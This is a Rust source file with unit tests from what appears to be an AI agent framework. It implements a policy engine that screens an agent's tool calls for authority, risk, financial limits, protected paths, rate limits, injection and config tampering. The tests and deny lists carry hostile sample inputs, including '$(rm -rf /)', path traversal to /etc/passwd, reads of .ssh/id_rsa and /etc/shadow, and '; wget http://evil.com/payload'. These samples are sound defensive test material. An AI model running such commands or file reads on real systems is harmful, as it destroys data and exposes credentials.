Skip to main content

roboticus_agent/
policy.rs

1use std::sync::Mutex;
2use std::time::{Duration, Instant};
3
4use serde_json::Value;
5
6use roboticus_core::{InputAuthority, PolicyDecision, RiskLevel, SurvivalTier};
7
8fn collect_string_values(value: &Value, out: &mut Vec<String>) {
9    match value {
10        Value::String(s) => out.push(s.clone()),
11        Value::Array(arr) => {
12            for v in arr {
13                collect_string_values(v, out);
14            }
15        }
16        Value::Object(map) => {
17            for v in map.values() {
18                collect_string_values(v, out);
19            }
20        }
21        _ => {}
22    }
23}
24
25pub trait PolicyRule: Send + Sync {
26    fn name(&self) -> &str;
27    fn priority(&self) -> u32;
28    fn evaluate(&self, call: &ToolCallRequest, ctx: &PolicyContext) -> PolicyDecision;
29}
30
31#[derive(Debug, Clone)]
32pub struct PolicyContext {
33    pub authority: InputAuthority,
34    pub survival_tier: SurvivalTier,
35    /// Optional security claim from the RBAC resolution system.
36    /// When present, provides full provenance (grant sources, ceiling,
37    /// threat-downgrade status) for audit logging and advanced policy rules.
38    pub claim: Option<roboticus_core::SecurityClaim>,
39}
40
41#[derive(Debug, Clone)]
42pub struct ToolCallRequest {
43    pub tool_name: String,
44    pub params: Value,
45    pub risk_level: RiskLevel,
46}
47
48pub struct PolicyEngine {
49    rules: Vec<Box<dyn PolicyRule>>,
50}
51
52impl PolicyEngine {
53    pub fn new() -> Self {
54        Self { rules: Vec::new() }
55    }
56
57    pub fn add_rule(&mut self, rule: Box<dyn PolicyRule>) {
58        self.rules.push(rule);
59        self.rules.sort_by_key(|r| r.priority());
60    }
61
62    pub fn evaluate_all(&self, call: &ToolCallRequest, ctx: &PolicyContext) -> PolicyDecision {
63        for rule in &self.rules {
64            let decision = rule.evaluate(call, ctx);
65            if !decision.is_allowed() {
66                return decision;
67            }
68        }
69        PolicyDecision::Allow
70    }
71}
72
73impl Default for PolicyEngine {
74    fn default() -> Self {
75        Self::new()
76    }
77}
78
79/// Priority 1: restricts tool access based on input authority level.
80pub struct AuthorityRule;
81
82impl PolicyRule for AuthorityRule {
83    fn name(&self) -> &str {
84        "authority"
85    }
86
87    fn priority(&self) -> u32 {
88        1
89    }
90
91    fn evaluate(&self, call: &ToolCallRequest, ctx: &PolicyContext) -> PolicyDecision {
92        let allowed = match ctx.authority {
93            InputAuthority::Creator => true,
94            InputAuthority::SelfGenerated => call.risk_level <= RiskLevel::Dangerous,
95            InputAuthority::Peer => call.risk_level <= RiskLevel::Caution,
96            InputAuthority::External => call.risk_level <= RiskLevel::Safe,
97        };
98
99        if allowed {
100            PolicyDecision::Allow
101        } else {
102            PolicyDecision::Deny {
103                rule: self.name().into(),
104                reason: format!(
105                    "{:?} authority cannot use {:?}-level tool '{}'",
106                    ctx.authority, call.risk_level, call.tool_name
107                ),
108            }
109        }
110    }
111}
112
113/// Priority 2: blocks Forbidden-risk tools unconditionally.
114pub struct CommandSafetyRule;
115
116impl PolicyRule for CommandSafetyRule {
117    fn name(&self) -> &str {
118        "command_safety"
119    }
120
121    fn priority(&self) -> u32 {
122        2
123    }
124
125    fn evaluate(&self, call: &ToolCallRequest, _ctx: &PolicyContext) -> PolicyDecision {
126        if call.risk_level == RiskLevel::Forbidden {
127            PolicyDecision::Deny {
128                rule: self.name().into(),
129                reason: format!("tool '{}' is forbidden", call.tool_name),
130            }
131        } else {
132            PolicyDecision::Allow
133        }
134    }
135}
136
137/// Priority 3: blocks high-value or sensitive financial operations.
138pub struct FinancialRule {
139    /// Maximum single transfer in dollars; transfers above are denied.
140    pub threshold_dollars: f64,
141}
142
143impl Default for FinancialRule {
144    fn default() -> Self {
145        Self {
146            threshold_dollars: 100.0,
147        }
148    }
149}
150
151impl FinancialRule {
152    pub fn new(threshold_dollars: f64) -> Self {
153        Self { threshold_dollars }
154    }
155
156    fn is_financial_tool(name: &str) -> bool {
157        let name_lower = name.to_lowercase();
158        [
159            "transfer", "send", "withdraw", "deposit", "payment", "wallet",
160        ]
161        .iter()
162        .any(|k| name_lower.contains(k))
163    }
164
165    fn extract_amount_cents(params: &Value) -> Option<i64> {
166        let obj = params.as_object()?;
167        // Explicit cent-denominated keys.
168        for key in ["amount_cents", "cents", "value_cents"] {
169            if let Some(v) = obj.get(key)
170                && let Some(n) = v.as_i64()
171            {
172                return Some(n);
173            }
174        }
175        // "amount" is dollar-denominated; accept either integer or float JSON.
176        if let Some(v) = obj.get("amount")
177            && let Some(n) = v.as_f64()
178        {
179            return Some((n * 100.0).round() as i64);
180        }
181        // Dollar-denominated keys
182        if let Some(v) = obj
183            .get("amount_dollars")
184            .or(obj.get("dollars"))
185            .or(obj.get("value"))
186            && let Some(n) = v.as_f64()
187        {
188            return Some((n * 100.0).round() as i64);
189        }
190        None
191    }
192
193    fn is_wallet_config_or_drain(params: &Value) -> bool {
194        let obj = match params.as_object() {
195            Some(o) => o,
196            None => return false,
197        };
198        let drain_keys = [
199            "drain",
200            "withdraw_all",
201            "export_private_key",
202            "set_wallet_path",
203        ];
204        for key in drain_keys {
205            if obj.contains_key(key) {
206                return true;
207            }
208        }
209        false
210    }
211}
212
213impl PolicyRule for FinancialRule {
214    fn name(&self) -> &str {
215        "financial"
216    }
217
218    fn priority(&self) -> u32 {
219        3
220    }
221
222    fn evaluate(&self, call: &ToolCallRequest, _ctx: &PolicyContext) -> PolicyDecision {
223        if !Self::is_financial_tool(&call.tool_name) {
224            return PolicyDecision::Allow;
225        }
226        if Self::is_wallet_config_or_drain(&call.params) {
227            return PolicyDecision::Deny {
228                rule: self.name().into(),
229                reason: "tool attempts to change wallet config or drain funds".into(),
230            };
231        }
232        let threshold_cents = (self.threshold_dollars * 100.0).round() as i64;
233        if let Some(cents) = Self::extract_amount_cents(&call.params)
234            && cents > threshold_cents
235        {
236            return PolicyDecision::Deny {
237                rule: self.name().into(),
238                reason: format!(
239                    "amount {} cents exceeds threshold ${:.2}",
240                    cents, self.threshold_dollars
241                ),
242            };
243        }
244        PolicyDecision::Allow
245    }
246}
247
248/// Priority 4: blocks access to protected path patterns and enforces
249/// workspace-only confinement for agent file tools.
250pub struct PathProtectionRule {
251    /// Path patterns that are not allowed in tool arguments.
252    pub protected: Vec<String>,
253    /// When true, absolute paths outside `/tmp` and `tool_allowed_paths` are
254    /// denied (workspace-only mode).
255    pub workspace_only: bool,
256    /// Absolute paths that tools may access even in workspace_only mode.
257    /// Auto-populated from feature configs (e.g. `obsidian.vault_path`).
258    pub tool_allowed_paths: Vec<std::path::PathBuf>,
259}
260
261impl Default for PathProtectionRule {
262    fn default() -> Self {
263        Self {
264            protected: vec![
265                "/etc/".into(),
266                ".env".into(),
267                "wallet.json".into(),
268                "private_key".into(),
269                ".ssh/".into(),
270                "roboticus.toml".into(),
271            ],
272            workspace_only: true,
273            tool_allowed_paths: Vec::new(),
274        }
275    }
276}
277
278impl PathProtectionRule {
279    pub fn new(protected: Vec<String>) -> Self {
280        Self {
281            protected,
282            workspace_only: true,
283            tool_allowed_paths: Vec::new(),
284        }
285    }
286
287    /// Build from the `[security.filesystem]` config section.
288    /// Merges `protected_paths` + `extra_protected_paths`, reads
289    /// `workspace_only` flag, and imports `tool_allowed_paths` so that
290    /// configured external directories (e.g. Obsidian vault) are reachable
291    /// even in workspace-only mode.
292    pub fn from_config(fs_cfg: &roboticus_core::config::FilesystemSecurityConfig) -> Self {
293        let mut protected = fs_cfg.protected_paths.clone();
294        protected.extend(fs_cfg.extra_protected_paths.iter().cloned());
295        Self {
296            protected,
297            workspace_only: fs_cfg.workspace_only,
298            tool_allowed_paths: fs_cfg.tool_allowed_paths.clone(),
299        }
300    }
301
302    fn matches_protected(&self, s: &str) -> Option<&str> {
303        let s_lower = s.to_lowercase();
304        for pattern in &self.protected {
305            let p_lower = pattern.to_lowercase();
306            if s_lower.contains(&p_lower) || s_lower.ends_with(p_lower.trim_end_matches('/')) {
307                return Some(pattern);
308            }
309        }
310        None
311    }
312}
313
314impl PolicyRule for PathProtectionRule {
315    fn name(&self) -> &str {
316        "path_protection"
317    }
318
319    fn priority(&self) -> u32 {
320        4
321    }
322
323    fn evaluate(&self, call: &ToolCallRequest, _ctx: &PolicyContext) -> PolicyDecision {
324        let mut strings = Vec::new();
325        collect_string_values(&call.params, &mut strings);
326
327        // Workspace-only gate: deny absolute paths outside /tmp unless they
328        // fall under a configured `tool_allowed_paths` entry.  Relative paths
329        // are fine — they resolve against the workspace root in the tool layer
330        // (resolve_workspace_path).
331        if self.workspace_only {
332            for s in &strings {
333                let p = std::path::Path::new(s);
334                if p.is_absolute() && !s.starts_with("/tmp") {
335                    let whitelisted = self
336                        .tool_allowed_paths
337                        .iter()
338                        .any(|allowed| p.starts_with(allowed));
339                    if !whitelisted {
340                        return PolicyDecision::Deny {
341                            rule: self.name().into(),
342                            reason: format!(
343                                "workspace_only mode: absolute path '{}' outside /tmp and configured allowed paths",
344                                s
345                            ),
346                        };
347                    }
348                }
349            }
350        }
351
352        // Blacklist scan: check all string values against protected patterns.
353        for s in &strings {
354            if let Some(pattern) = self.matches_protected(s) {
355                return PolicyDecision::Deny {
356                    rule: self.name().into(),
357                    reason: format!("protected path pattern '{}' not allowed", pattern),
358                };
359            }
360        }
361        PolicyDecision::Allow
362    }
363}
364
365/// Priority 5: rate-limits tool calls per tool name.
366pub struct RateLimitRule {
367    max_calls_per_minute: u32,
368    /// tool_name -> timestamps of recent calls
369    calls: Mutex<std::collections::HashMap<String, Vec<Instant>>>,
370}
371
372impl Default for RateLimitRule {
373    fn default() -> Self {
374        Self {
375            max_calls_per_minute: 30,
376            calls: Mutex::new(std::collections::HashMap::new()),
377        }
378    }
379}
380
381impl RateLimitRule {
382    pub fn new(max_calls_per_minute: u32) -> Self {
383        Self {
384            max_calls_per_minute,
385            calls: Mutex::new(std::collections::HashMap::new()),
386        }
387    }
388
389    fn prune_older_than(cuts: &mut Vec<Instant>, cutoff: Instant) {
390        cuts.retain(|&t| t > cutoff);
391    }
392}
393
394impl PolicyRule for RateLimitRule {
395    fn name(&self) -> &str {
396        "rate_limit"
397    }
398
399    fn priority(&self) -> u32 {
400        5
401    }
402
403    fn evaluate(&self, call: &ToolCallRequest, _ctx: &PolicyContext) -> PolicyDecision {
404        let now = Instant::now();
405        let window_start = now - Duration::from_secs(60);
406        let mut guard = self.calls.lock().unwrap_or_else(|e| e.into_inner());
407        let cuts = guard.entry(call.tool_name.clone()).or_default();
408        Self::prune_older_than(cuts, window_start);
409        if cuts.len() >= self.max_calls_per_minute as usize {
410            return PolicyDecision::Deny {
411                rule: self.name().into(),
412                reason: format!(
413                    "tool '{}' rate limit exceeded (max {} per minute)",
414                    call.tool_name, self.max_calls_per_minute
415                ),
416            };
417        }
418        cuts.push(now);
419        PolicyDecision::Allow
420    }
421}
422
423/// Priority 6: validates argument size and blocks malicious patterns.
424pub struct ValidationRule;
425
426const MAX_ARG_SIZE_BYTES: usize = 100 * 1024; // 100KB
427
428impl ValidationRule {
429    fn serialized_size(value: &Value) -> usize {
430        value.to_string().len()
431    }
432
433    fn looks_malicious(s: &str) -> bool {
434        let s_lower = s.to_lowercase();
435        // Shell injection
436        if s.contains('$') && (s.contains('(') || s.contains('`') || s.contains("${")) {
437            return true;
438        }
439        if s.contains("; ")
440            && (s_lower.contains("rm ") || s_lower.contains("curl ") || s_lower.contains("wget "))
441        {
442            return true;
443        }
444        // Path traversal
445        if s.contains("..") && (s.contains('/') || s.contains('\\')) {
446            return true;
447        }
448        false
449    }
450}
451
452impl PolicyRule for ValidationRule {
453    fn name(&self) -> &str {
454        "validation"
455    }
456
457    fn priority(&self) -> u32 {
458        6
459    }
460
461    fn evaluate(&self, call: &ToolCallRequest, _ctx: &PolicyContext) -> PolicyDecision {
462        if Self::serialized_size(&call.params) > MAX_ARG_SIZE_BYTES {
463            return PolicyDecision::Deny {
464                rule: self.name().into(),
465                reason: format!(
466                    "arguments exceed maximum size ({} bytes)",
467                    MAX_ARG_SIZE_BYTES
468                ),
469            };
470        }
471        let mut strings = Vec::new();
472        collect_string_values(&call.params, &mut strings);
473        for s in &strings {
474            if Self::looks_malicious(s) {
475                return PolicyDecision::Deny {
476                    rule: self.name().into(),
477                    reason: "arguments contain potentially malicious pattern (shell injection or path traversal)".into(),
478                };
479            }
480        }
481        PolicyDecision::Allow
482    }
483}
484
485/// Priority 7: prevents the agent from modifying security-sensitive config
486/// fields (scope_mode, api_keys, tokens, secrets) via file-write or shell tools.
487pub struct ConfigProtectionRule {
488    forbidden_patterns: Vec<String>,
489    config_filenames: Vec<String>,
490}
491
492impl Default for ConfigProtectionRule {
493    fn default() -> Self {
494        Self {
495            forbidden_patterns: vec![
496                "scope_mode".into(),
497                "api_key".into(),
498                "admin_token".into(),
499                "keystore".into(),
500                "trusted_proxy".into(),
501                "_secret".into(),
502                "_token".into(),
503                "private_key".into(),
504            ],
505            config_filenames: vec!["roboticus.toml".into(), "config-overrides.toml".into()],
506        }
507    }
508}
509
510impl ConfigProtectionRule {
511    fn targets_config_file(&self, strings: &[String]) -> bool {
512        strings.iter().any(|s| {
513            let s_lower = s.to_lowercase();
514            self.config_filenames
515                .iter()
516                .any(|cfg| s_lower.contains(&cfg.to_lowercase()))
517        })
518    }
519
520    fn contains_forbidden_field(&self, strings: &[String]) -> Option<&str> {
521        for s in strings {
522            let s_lower = s.to_lowercase();
523            for pattern in &self.forbidden_patterns {
524                if s_lower.contains(&pattern.to_lowercase()) {
525                    return Some(pattern);
526                }
527            }
528        }
529        None
530    }
531}
532
533impl PolicyRule for ConfigProtectionRule {
534    fn name(&self) -> &str {
535        "config_protection"
536    }
537
538    fn priority(&self) -> u32 {
539        7
540    }
541
542    fn evaluate(&self, call: &ToolCallRequest, _ctx: &PolicyContext) -> PolicyDecision {
543        let tool_lower = call.tool_name.to_lowercase();
544        let is_write_tool = tool_lower.contains("write_file")
545            || tool_lower.contains("bash")
546            || tool_lower.contains("run_script");
547
548        if !is_write_tool {
549            return PolicyDecision::Allow;
550        }
551
552        let mut strings = Vec::new();
553        collect_string_values(&call.params, &mut strings);
554
555        if !self.targets_config_file(&strings) {
556            return PolicyDecision::Allow;
557        }
558
559        if let Some(field) = self.contains_forbidden_field(&strings) {
560            return PolicyDecision::Deny {
561                rule: self.name().into(),
562                reason: format!(
563                    "cannot modify security-sensitive config field '{}' via tools; \
564                     edit the config file directly or use the CLI",
565                    field
566                ),
567            };
568        }
569        PolicyDecision::Allow
570    }
571}
572
573#[cfg(test)]
574mod tests {
575    use super::*;
576
577    fn make_request(tool: &str, risk: RiskLevel) -> ToolCallRequest {
578        ToolCallRequest {
579            tool_name: tool.into(),
580            params: serde_json::json!({}),
581            risk_level: risk,
582        }
583    }
584
585    #[test]
586    fn authority_based_blocking() {
587        let mut engine = PolicyEngine::new();
588        engine.add_rule(Box::new(AuthorityRule));
589
590        let ctx_external = PolicyContext {
591            authority: InputAuthority::External,
592            survival_tier: SurvivalTier::Normal,
593            claim: None,
594        };
595
596        assert!(
597            engine
598                .evaluate_all(&make_request("echo", RiskLevel::Safe), &ctx_external)
599                .is_allowed()
600        );
601
602        assert!(
603            !engine
604                .evaluate_all(&make_request("rm_file", RiskLevel::Caution), &ctx_external)
605                .is_allowed()
606        );
607
608        let ctx_creator = PolicyContext {
609            authority: InputAuthority::Creator,
610            survival_tier: SurvivalTier::Normal,
611            claim: None,
612        };
613        assert!(
614            engine
615                .evaluate_all(&make_request("nuke", RiskLevel::Dangerous), &ctx_creator)
616                .is_allowed()
617        );
618
619        let ctx_self = PolicyContext {
620            authority: InputAuthority::SelfGenerated,
621            survival_tier: SurvivalTier::Normal,
622            claim: None,
623        };
624        assert!(
625            engine
626                .evaluate_all(&make_request("cmd", RiskLevel::Dangerous), &ctx_self)
627                .is_allowed()
628        );
629        assert!(
630            !engine
631                .evaluate_all(&make_request("cmd", RiskLevel::Forbidden), &ctx_self)
632                .is_allowed()
633        );
634    }
635
636    #[test]
637    fn command_safety_blocks_forbidden() {
638        let mut engine = PolicyEngine::new();
639        engine.add_rule(Box::new(CommandSafetyRule));
640
641        let ctx = PolicyContext {
642            authority: InputAuthority::Creator,
643            survival_tier: SurvivalTier::Normal,
644            claim: None,
645        };
646
647        assert!(
648            !engine
649                .evaluate_all(&make_request("evil", RiskLevel::Forbidden), &ctx)
650                .is_allowed()
651        );
652        assert!(
653            engine
654                .evaluate_all(&make_request("good", RiskLevel::Dangerous), &ctx)
655                .is_allowed()
656        );
657    }
658
659    #[test]
660    fn allow_pass_through() {
661        let mut engine = PolicyEngine::new();
662        engine.add_rule(Box::new(AuthorityRule));
663        engine.add_rule(Box::new(CommandSafetyRule));
664
665        let ctx = PolicyContext {
666            authority: InputAuthority::Creator,
667            survival_tier: SurvivalTier::High,
668            claim: None,
669        };
670
671        let decision = engine.evaluate_all(&make_request("read_file", RiskLevel::Safe), &ctx);
672        assert!(decision.is_allowed());
673    }
674
675    #[test]
676    fn financial_rule_blocks_high_value_allows_low() {
677        let rule = FinancialRule::new(100.0);
678        let ctx = PolicyContext {
679            authority: InputAuthority::Creator,
680            survival_tier: SurvivalTier::Normal,
681            claim: None,
682        };
683
684        let low = ToolCallRequest {
685            tool_name: "transfer".into(),
686            params: serde_json::json!({ "amount_cents": 5000 }),
687            risk_level: RiskLevel::Safe,
688        };
689        assert!(rule.evaluate(&low, &ctx).is_allowed());
690
691        let high = ToolCallRequest {
692            tool_name: "send".into(),
693            params: serde_json::json!({ "amount_dollars": 150.0 }),
694            risk_level: RiskLevel::Safe,
695        };
696        assert!(!rule.evaluate(&high, &ctx).is_allowed());
697
698        let non_financial = ToolCallRequest {
699            tool_name: "read_file".into(),
700            params: serde_json::json!({ "path": "/tmp/foo" }),
701            risk_level: RiskLevel::Safe,
702        };
703        assert!(rule.evaluate(&non_financial, &ctx).is_allowed());
704    }
705
706    #[test]
707    fn financial_rule_blocks_wallet_drain() {
708        let rule = FinancialRule::default();
709        let ctx = PolicyContext {
710            authority: InputAuthority::Creator,
711            survival_tier: SurvivalTier::Normal,
712            claim: None,
713        };
714
715        let drain = ToolCallRequest {
716            tool_name: "wallet_export".into(),
717            params: serde_json::json!({ "export_private_key": true }),
718            risk_level: RiskLevel::Safe,
719        };
720        assert!(!rule.evaluate(&drain, &ctx).is_allowed());
721    }
722
723    #[test]
724    fn path_protection_blocks_env_allows_normal() {
725        let rule = PathProtectionRule::default();
726        let ctx = PolicyContext {
727            authority: InputAuthority::Creator,
728            survival_tier: SurvivalTier::Normal,
729            claim: None,
730        };
731
732        let blocked = ToolCallRequest {
733            tool_name: "read_file".into(),
734            params: serde_json::json!({ "path": "/app/.env" }),
735            risk_level: RiskLevel::Safe,
736        };
737        let decision = rule.evaluate(&blocked, &ctx);
738        assert!(!decision.is_allowed());
739        if let PolicyDecision::Deny { reason, .. } = &decision {
740            assert!(reason.contains(".env") || reason.contains("protected"));
741        }
742
743        let allowed = ToolCallRequest {
744            tool_name: "read_file".into(),
745            params: serde_json::json!({ "path": "/tmp/foo.txt" }),
746            risk_level: RiskLevel::Safe,
747        };
748        assert!(rule.evaluate(&allowed, &ctx).is_allowed());
749    }
750
751    #[test]
752    fn rate_limit_blocks_over_limit_allows_under() {
753        let rule = RateLimitRule::new(2);
754        let ctx = PolicyContext {
755            authority: InputAuthority::Creator,
756            survival_tier: SurvivalTier::Normal,
757            claim: None,
758        };
759
760        let req = |tool: &str| ToolCallRequest {
761            tool_name: tool.into(),
762            params: serde_json::json!({}),
763            risk_level: RiskLevel::Safe,
764        };
765
766        assert!(rule.evaluate(&req("foo"), &ctx).is_allowed());
767        assert!(rule.evaluate(&req("foo"), &ctx).is_allowed());
768        assert!(!rule.evaluate(&req("foo"), &ctx).is_allowed());
769
770        assert!(rule.evaluate(&req("bar"), &ctx).is_allowed());
771    }
772
773    #[test]
774    fn validation_rejects_oversized_and_malicious() {
775        let rule = ValidationRule;
776        let ctx = PolicyContext {
777            authority: InputAuthority::Creator,
778            survival_tier: SurvivalTier::Normal,
779            claim: None,
780        };
781
782        let huge = ToolCallRequest {
783            tool_name: "echo".into(),
784            params: serde_json::json!({ "data": "x".repeat(101 * 1024) }),
785            risk_level: RiskLevel::Safe,
786        };
787        assert!(!rule.evaluate(&huge, &ctx).is_allowed());
788
789        let shell_injection = ToolCallRequest {
790            tool_name: "run".into(),
791            params: serde_json::json!({ "cmd": "$(rm -rf /)" }),
792            risk_level: RiskLevel::Safe,
793        };
794        assert!(!rule.evaluate(&shell_injection, &ctx).is_allowed());
795
796        let path_traversal = ToolCallRequest {
797            tool_name: "read".into(),
798            params: serde_json::json!({ "path": "../../../etc/passwd" }),
799            risk_level: RiskLevel::Safe,
800        };
801        assert!(!rule.evaluate(&path_traversal, &ctx).is_allowed());
802
803        let ok = ToolCallRequest {
804            tool_name: "echo".into(),
805            params: serde_json::json!({ "msg": "hello" }),
806            risk_level: RiskLevel::Safe,
807        };
808        assert!(rule.evaluate(&ok, &ctx).is_allowed());
809    }
810
811    // ── collect_string_values for nested structures ──────────────────
812
813    #[test]
814    fn collect_string_values_nested_arrays() {
815        let val = serde_json::json!([["a", "b"], ["c"]]);
816        let mut out = Vec::new();
817        collect_string_values(&val, &mut out);
818        assert_eq!(out, vec!["a", "b", "c"]);
819    }
820
821    #[test]
822    fn collect_string_values_nested_objects() {
823        let val = serde_json::json!({"a": {"b": "deep", "c": 42}, "d": "top"});
824        let mut out = Vec::new();
825        collect_string_values(&val, &mut out);
826        assert!(out.contains(&"deep".to_string()));
827        assert!(out.contains(&"top".to_string()));
828        assert_eq!(out.len(), 2); // numbers are skipped
829    }
830
831    #[test]
832    fn collect_string_values_mixed() {
833        let val = serde_json::json!({
834            "items": [{"name": "file.txt"}, {"name": "dir/sub.py"}],
835            "count": 2,
836            "flag": true,
837            "label": "test"
838        });
839        let mut out = Vec::new();
840        collect_string_values(&val, &mut out);
841        assert!(out.contains(&"file.txt".to_string()));
842        assert!(out.contains(&"dir/sub.py".to_string()));
843        assert!(out.contains(&"test".to_string()));
844        assert_eq!(out.len(), 3);
845    }
846
847    #[test]
848    fn collect_string_values_primitives_skipped() {
849        let val = serde_json::json!(42);
850        let mut out = Vec::new();
851        collect_string_values(&val, &mut out);
852        assert!(out.is_empty());
853
854        let val = serde_json::json!(true);
855        collect_string_values(&val, &mut out);
856        assert!(out.is_empty());
857
858        let val = serde_json::json!(null);
859        collect_string_values(&val, &mut out);
860        assert!(out.is_empty());
861    }
862
863    // ── Peer authority level ─────────────────────────────────────────
864
865    #[test]
866    fn authority_peer_allows_safe_blocks_caution() {
867        let rule = AuthorityRule;
868        let ctx = PolicyContext {
869            authority: InputAuthority::Peer,
870            survival_tier: SurvivalTier::Normal,
871            claim: None,
872        };
873
874        assert!(
875            rule.evaluate(&make_request("echo", RiskLevel::Safe), &ctx)
876                .is_allowed()
877        );
878        assert!(
879            rule.evaluate(&make_request("read_file", RiskLevel::Caution), &ctx)
880                .is_allowed()
881        );
882        assert!(
883            !rule
884                .evaluate(&make_request("write_file", RiskLevel::Dangerous), &ctx)
885                .is_allowed()
886        );
887    }
888
889    // ── FinancialRule extract_amount_cents variants ───────────────────
890
891    #[test]
892    fn financial_extract_amount_cents_various_keys() {
893        // "amount" key (dollars -> cents)
894        assert_eq!(
895            FinancialRule::extract_amount_cents(&serde_json::json!({"amount": 5000})),
896            Some(500000)
897        );
898        // "amount_cents" key
899        assert_eq!(
900            FinancialRule::extract_amount_cents(&serde_json::json!({"amount_cents": 3000})),
901            Some(3000)
902        );
903        // "cents" key
904        assert_eq!(
905            FinancialRule::extract_amount_cents(&serde_json::json!({"cents": 1500})),
906            Some(1500)
907        );
908        // "value_cents" key
909        assert_eq!(
910            FinancialRule::extract_amount_cents(&serde_json::json!({"value_cents": 2000})),
911            Some(2000)
912        );
913        // "dollars" key (converted to cents)
914        assert_eq!(
915            FinancialRule::extract_amount_cents(&serde_json::json!({"dollars": 25.0})),
916            Some(2500)
917        );
918        // "value" key (converted to cents)
919        assert_eq!(
920            FinancialRule::extract_amount_cents(&serde_json::json!({"value": 10.50})),
921            Some(1050)
922        );
923        // No matching key
924        assert_eq!(
925            FinancialRule::extract_amount_cents(&serde_json::json!({"other": 42})),
926            None
927        );
928        // Non-object
929        assert_eq!(
930            FinancialRule::extract_amount_cents(&serde_json::json!("not an object")),
931            None
932        );
933    }
934
935    #[test]
936    fn financial_is_financial_tool_names() {
937        assert!(FinancialRule::is_financial_tool("transfer_usdc"));
938        assert!(FinancialRule::is_financial_tool("send_payment"));
939        assert!(FinancialRule::is_financial_tool("withdraw_funds"));
940        assert!(FinancialRule::is_financial_tool("deposit_eth"));
941        assert!(FinancialRule::is_financial_tool("process_payment"));
942        assert!(FinancialRule::is_financial_tool("wallet_balance"));
943        assert!(!FinancialRule::is_financial_tool("read_file"));
944        assert!(!FinancialRule::is_financial_tool("echo"));
945    }
946
947    #[test]
948    fn financial_wallet_config_drain_patterns() {
949        assert!(FinancialRule::is_wallet_config_or_drain(
950            &serde_json::json!({"drain": true})
951        ));
952        assert!(FinancialRule::is_wallet_config_or_drain(
953            &serde_json::json!({"withdraw_all": true})
954        ));
955        assert!(FinancialRule::is_wallet_config_or_drain(
956            &serde_json::json!({"export_private_key": true})
957        ));
958        assert!(FinancialRule::is_wallet_config_or_drain(
959            &serde_json::json!({"set_wallet_path": "/tmp/evil"})
960        ));
961        assert!(!FinancialRule::is_wallet_config_or_drain(
962            &serde_json::json!({"amount": 100})
963        ));
964        assert!(!FinancialRule::is_wallet_config_or_drain(
965            &serde_json::json!("not an object")
966        ));
967    }
968
969    // ── ValidationRule looks_malicious patterns ──────────────────────
970
971    #[test]
972    fn validation_looks_malicious_wget() {
973        let rule = ValidationRule;
974        let ctx = PolicyContext {
975            authority: InputAuthority::Creator,
976            survival_tier: SurvivalTier::Normal,
977            claim: None,
978        };
979
980        let wget_inject = ToolCallRequest {
981            tool_name: "run".into(),
982            params: serde_json::json!({ "cmd": "; wget http://evil.com/payload" }),
983            risk_level: RiskLevel::Safe,
984        };
985        assert!(!rule.evaluate(&wget_inject, &ctx).is_allowed());
986    }
987
988    #[test]
989    fn validation_looks_malicious_backtick() {
990        let rule = ValidationRule;
991        let ctx = PolicyContext {
992            authority: InputAuthority::Creator,
993            survival_tier: SurvivalTier::Normal,
994            claim: None,
995        };
996
997        let backtick = ToolCallRequest {
998            tool_name: "run".into(),
999            params: serde_json::json!({ "cmd": "echo $(`whoami`)" }),
1000            risk_level: RiskLevel::Safe,
1001        };
1002        assert!(!rule.evaluate(&backtick, &ctx).is_allowed());
1003    }
1004
1005    #[test]
1006    fn validation_looks_malicious_dollar_brace() {
1007        let rule = ValidationRule;
1008        let ctx = PolicyContext {
1009            authority: InputAuthority::Creator,
1010            survival_tier: SurvivalTier::Normal,
1011            claim: None,
1012        };
1013
1014        let dollar_brace = ToolCallRequest {
1015            tool_name: "run".into(),
1016            params: serde_json::json!({ "cmd": "echo ${SECRET}" }),
1017            risk_level: RiskLevel::Safe,
1018        };
1019        assert!(!rule.evaluate(&dollar_brace, &ctx).is_allowed());
1020    }
1021
1022    // ── Path protection with nested params ───────────────────────────
1023
1024    #[test]
1025    fn path_protection_detects_nested_protected_paths() {
1026        let rule = PathProtectionRule::default();
1027        let ctx = PolicyContext {
1028            authority: InputAuthority::Creator,
1029            survival_tier: SurvivalTier::Normal,
1030            claim: None,
1031        };
1032
1033        let nested = ToolCallRequest {
1034            tool_name: "process".into(),
1035            params: serde_json::json!({
1036                "files": [{"path": "/etc/shadow"}]
1037            }),
1038            risk_level: RiskLevel::Safe,
1039        };
1040        assert!(!rule.evaluate(&nested, &ctx).is_allowed());
1041    }
1042
1043    #[test]
1044    fn path_protection_wallet_json() {
1045        let rule = PathProtectionRule::default();
1046        let ctx = PolicyContext {
1047            authority: InputAuthority::Creator,
1048            survival_tier: SurvivalTier::Normal,
1049            claim: None,
1050        };
1051
1052        let wallet = ToolCallRequest {
1053            tool_name: "read_file".into(),
1054            params: serde_json::json!({ "path": "data/wallet.json" }),
1055            risk_level: RiskLevel::Safe,
1056        };
1057        assert!(!rule.evaluate(&wallet, &ctx).is_allowed());
1058    }
1059
1060    #[test]
1061    fn path_protection_ssh_dir() {
1062        let rule = PathProtectionRule::default();
1063        let ctx = PolicyContext {
1064            authority: InputAuthority::Creator,
1065            survival_tier: SurvivalTier::Normal,
1066            claim: None,
1067        };
1068
1069        let ssh = ToolCallRequest {
1070            tool_name: "read_file".into(),
1071            params: serde_json::json!({ "path": ".ssh/id_rsa" }),
1072            risk_level: RiskLevel::Safe,
1073        };
1074        assert!(!rule.evaluate(&ssh, &ctx).is_allowed());
1075    }
1076
1077    // ── PolicyEngine ordering ────────────────────────────────────────
1078
1079    #[test]
1080    fn engine_evaluates_rules_in_priority_order() {
1081        let mut engine = PolicyEngine::new();
1082        engine.add_rule(Box::new(ValidationRule)); // priority 6
1083        engine.add_rule(Box::new(AuthorityRule)); // priority 1
1084        engine.add_rule(Box::new(CommandSafetyRule)); // priority 2
1085
1086        // Authority check (priority 1) should run first
1087        let ctx = PolicyContext {
1088            authority: InputAuthority::External,
1089            survival_tier: SurvivalTier::Normal,
1090            claim: None,
1091        };
1092        let decision = engine.evaluate_all(&make_request("nuke", RiskLevel::Dangerous), &ctx);
1093        assert!(!decision.is_allowed());
1094        if let PolicyDecision::Deny { rule, .. } = &decision {
1095            assert_eq!(rule, "authority", "authority rule should fire first");
1096        }
1097    }
1098
1099    #[test]
1100    fn engine_default_is_empty() {
1101        let engine = PolicyEngine::default();
1102        let ctx = PolicyContext {
1103            authority: InputAuthority::External,
1104            survival_tier: SurvivalTier::Normal,
1105            claim: None,
1106        };
1107        // No rules -> allow
1108        assert!(
1109            engine
1110                .evaluate_all(&make_request("anything", RiskLevel::Forbidden), &ctx)
